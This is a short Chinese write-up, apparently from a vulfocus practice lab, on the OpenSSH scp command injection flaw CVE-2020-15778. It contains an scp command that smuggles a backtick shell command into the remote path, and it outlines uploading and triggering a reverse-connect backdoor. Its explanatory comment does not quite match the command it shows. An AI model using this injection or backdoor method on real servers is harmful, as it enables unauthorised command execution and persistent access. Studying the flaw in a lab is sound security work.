openssh 命令注入 (CVE-2020-15778)

描述:

OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发, 并以BSD样式的许可证提供,且已被集成到许多商业产品中。
OpenSSH的小于等于8.3p1版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。密码vulfocus:vulfocus

#意思是复制当前目录下的test.txt到目标的/tmp目录下,并且执行 touch /tmp/test.sh 的命令

scp / test.sh root@192.168.10.129:'`cat /tmp/test.sh`/tmp/test.sh'

没有使用小于8.3版本的openssh,只能进行文件上传和下载。也可以拿到后门

首先在本地编写好反联后门

Touch chengwenji.sh

Nano chengwenji.sh

使用scp进行上传

开启端口监听👂

这个条件比较苛刻,需要用户自己打开后门

相关推荐
猿粪已尽10 天前
mac 中 iTerm2 使用 rz、sz 上传下载文件详解,附 scp 操作指南
linux·macos·scp·lrzsz
皓月盈江1 个月前
Linux系统PC与Linux系统服务器通过scp上传与下载文件
linux·运维·服务器·scp·文件上传·文件下载
凉、介1 个月前
深入理解 ARM SCP Firmware 的 Event 与 Notification 机制
学习·scp·嵌入式·arm
李小白杂货铺2 个月前
从 macOS 免密 SSH 到 Windows 10 完整配置指南
windows·win10·openssh·踩坑·ssh服务器·免密连接·安装和配置
Tassel_YUE2 个月前
非 ansible 主机批量执行命令方法:psssh 和 pscp(随手记)
linux·网络·ssh·scp·ansible
嘿嘻哈呀5 个月前
Mac 如何通过 SSH 控制同一 Wi-Fi 下的 Windows 电脑
windows·ssh·mac·局域网·openssh
穿条秋裤到处跑5 个月前
Centos7环境升级openssh7.4p1至openssh9.8p1版本
centos·openssh
smaller_maple5 个月前
T113开启openssh
openssl·openssh·t113开启ssh
偶尔上线经常挺尸6 个月前
《每日一命令08:scp——安全的远程复制》
linux·安全·scp·文件传输·运维基础·远程复制